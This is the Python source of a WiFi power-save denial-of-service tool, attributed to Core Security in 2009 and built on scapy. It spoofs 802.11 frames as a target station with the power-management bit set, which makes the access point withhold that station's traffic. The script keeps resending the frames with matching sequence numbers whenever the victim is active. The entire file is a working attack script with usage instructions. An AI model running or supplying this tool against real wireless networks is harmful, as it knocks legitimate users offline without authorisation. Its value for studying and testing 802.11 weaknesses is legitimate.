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# WiFi_Power_Save_DoS
# from http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=publication&page=WiFi_Power_Save_DoS&file=psdos.py
# Copyright (c) 2009 Core Security Technologies
#
# Author: Leandro Meiners (lea@coresecurity.com)
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#!/usr/bin/env python
import sys
import signal, os
from scapy.config import *
from scapy.layers.dot11 import *
from scapy.utils import *
conf.verb=0
WIFI_MTU = 2346 # 802.11 maximum frame size is 2346 bytes (RFC 3580)
MAX_SN = 4096 # Max value for the 802.11 sequence number
MAX_FGNUM = 16 # Max value for the 802.11 fragment number field
def waitForBeacon(bssid):
print "Waiting for Beacon from BSSID=[%s]" % bssid
beacon = False
#s = conf.L2listen()
while not beacon:
#p = s.recv(WIFI_MTU)
p = sniff(count=1)[0]
# check if beacon from the AP we want to connect to
if p.haslayer(Dot11Beacon) and (p.addr3 == bssid):
beacon = True
cap = p.cap # AP capabilities
l = p.getlayer(Dot11Elt)
while l:
if l.ID == 0: # SSID
ssid = l.info
if l.ID == 1: # rates
rates = l.info
l = l.payload
print "Beacon from BSSID=[%s] found (has SSID=[%s])" % (bssid, ssid)
#s.close()
return cap, ssid, rates
def extractFragN(sc):
hexSC = '0' * (4 - len(hex(sc)[2:])) + hex(sc)[2:] # "normalize" to four digit hexadecimal number
fgnum = int(hexSC[-1:], 16)
return fgnum
def extractSN(sc):
hexSC = '0' * (4 - len(hex(sc)[2:])) + hex(sc)[2:] # "normalize" to four digit hexadecimal number
sn = int(hexSC[:-1], 16)
return sn
def calculateSC(sn, fgnum = 0):
if (fgnum > MAX_FGNUM): fgnum = 0
if (sn > MAX_SN): sn = 0
hexSN = hex(sn)[2:] + hex(fgnum)[2:]
SC = int(hexSN, 16)
return SC
def sentPacket(p, bssid, station):
ret = (p.FCfield & 0x01 == 1) and (p.addr1 == bssid) and (p.addr2 == station) # FCfield & 0x01 checks to-DS
return ret
def APsentPacket(p, bssid, station):
# FCfield & 0x00 checks STA to STA or management or control frame
ret = (p.FCfield & 0x00 == 0) and (p.addr1 == station) and (p.addr2 == bssid) and (p.addr3 == bssid)
return ret
def receivedPacket(p, bssid, station):
ret = (p.FCfield & 0x01 == 1) and (p.addr1 == bssid) and (p.addr3 == station) # FCfield & 0x01 checks to-DS
return ret
def forwardedSentPacket(p, bssid, station):
ret = (p.FCfield & 0x02 == 2) and (p.addr3 == station) and (p.addr2 == bssid) # FCfield & 0x02 checks from-DS
return ret
def forwardedReceivedPacket(p, bssid, station):
ret = (p.FCfield & 0x02 == 2) and (p.addr1 == station) and (p.addr2 == bssid) # FCfield & 0x02 checks from-DS
return ret
def signalHandler(signum, frame):
sys.exit(0)
def printFrameTypes():
print "\tFrame type: reassoc | nullfunction | rts"
print "\treassoc = Reassociation request frame"
print "\tnullfunction = Null function (no data) frame"
print "\tRTS = Request-to-send frame"
print "\tprobereq = Probe request frame"
def main():
if len(sys.argv) != 4 and len(sys.argv) != 5:
print "Usage: %s <interface> <station> <bssid> <frame type>" % sys.argv[0]
printFrameTypes()
sys.exit(1)
conf.iface = sys.argv[1]
station = sys.argv[2].lower()
bssid = sys.argv[3].lower()
if len(sys.argv) == 5:
frameType = sys.argv[4].lower()
if frameType != "reassoc" and frameType != "nullfunction" and frameType != "rts" and frameType != "probereq":
print "Incorrect frame type, valid values are:"
printFrameTypes()
sys.exit(1)
else:
frameType = 'nullfunction'
sn = 0
fgnum = 0
sc = calculateSC(sn)
print "Entering main while loop, press Ctrl-C to quit"
# main while loop
s = conf.L2listen()
#FIXME: Set duration on all frames
ack = Dot11(type = 'Control', subtype = 29, addr1 = bssid, FCfield="pw-mgt")
#SAVECAP:wrpcap("ack.cap", ack)
if frameType == "reassoc":
cap, ssid, rates = waitForBeacon(bssid)
frame = Dot11(addr1 = bssid, addr2 = station, addr3 = bssid, FCfield = "to-DS+pw-mgt", SC = sc)
frame = frame/Dot11ReassoReq(cap = cap, current_AP = bssid, listen_interval = 1)
frame = frame/Dot11Elt(ID = 0, info = ssid) # SSID information field
frame = frame/Dot11Elt(ID = 1, info = rates) # Rates information field
if frameType == "nullfunction":
frame = Dot11(type = 'Data', subtype = 4, addr1 = bssid, addr2 = station, addr3 = bssid, FCfield = "to-DS+pw-mgt", SC = sc, ID=20052)
if frameType == "rts":
frame = Dot11(type = 'Control', subtype = 11, addr1 = bssid, addr2 = station, FCfield = "to-DS+pw-mgt", SC = sc)
if frameType == "probereq":
cap, ssid, rates = waitForBeacon(bssid)
frame = Dot11(addr1 = bssid, addr2 = station, addr3 = bssid, FCfield = "to-DS+pw-mgt", SC = sc)/Dot11ProbeReq()
frame = frame/Dot11Elt(ID = 0, info = ssid) # SSID information field
frame = frame/Dot11Elt(ID = 1, info = rates) # Rates information field
#SAVECAP:wrpcap("frame.cap", frame)
sendp(frame)
print "Sent power save packet"
signal.signal(signal.SIGINT, signalHandler)
while True:
#p = s.recv(WIFI_MTU)
p = sniff(count=1)[0]
if p.haslayer(Dot11) and sentPacket(p, bssid, station) and p.FCfield & 0x03 == 0: # checks to see if frame sent has power bit unset
print "Station under attack is still sending packets"
print p.summary()
#fgnum = extractFragN(p.SC) # extracts fragment number from frame
sn = extractSN(p.SC) # extracts sequence number from frame
sn = (sn + 1) % MAX_SN
sc = calculateSC(sn) # our frame is not fragmented (i.e. fgnum = 0)
frame.SC = sc
sendp(frame)
print "Sent power save packet"
if p.haslayer(Dot11) and forwardedSentPacket(p, bssid, station):
print "Station under attack sent packets are being forwarded by the AP"
print p.summary()
if p.haslayer(Dot11) and receivedPacket(p, bssid, station):
print "Station under attack is having packets sent to it"
print p.summary()
if p.haslayer(Dot11) and APsentPacket(p, bssid, station):
print "Frame from AP to STA or STA to STA"
print p.summary()
if frameType == "probereq" and p.haslayer(Dot11ProbeResp):
# We must ACK this frame as it can be a response to our Probe request
print "Access point sent a Probe response, sending ACK"
sendp(ack)
elif frameType == "reassoc" and p.haslayer(Dot11ReassoResp):
# We must ACK this frame as it can be a response to our Reassociation request
print "Access point sent a Reassociation response, sending ACK"
sendp(ack)
if p.haslayer(Dot11) and forwardedReceivedPacket(p, bssid, station):
print "Station under attack is still receiving packets (forwarded by the AP)"
print p.summary()
#fgnum = extractFragN(p.SC) # extracts fragment number from frame
sn = extractSN(p.SC) # extracts sequence number from frame
sn = (sn + 1) % MAX_SN
sc = calculateSC(sn) # our frame is not fragmented (i.e. fgnum = 0)
frame.SC = sc
sendp(frame)
print "Sent power save packet"
if __name__ == "__main__":
# Import Psyco if available
try:
import psyco
psyco.full()
except ImportError:
pass
main()
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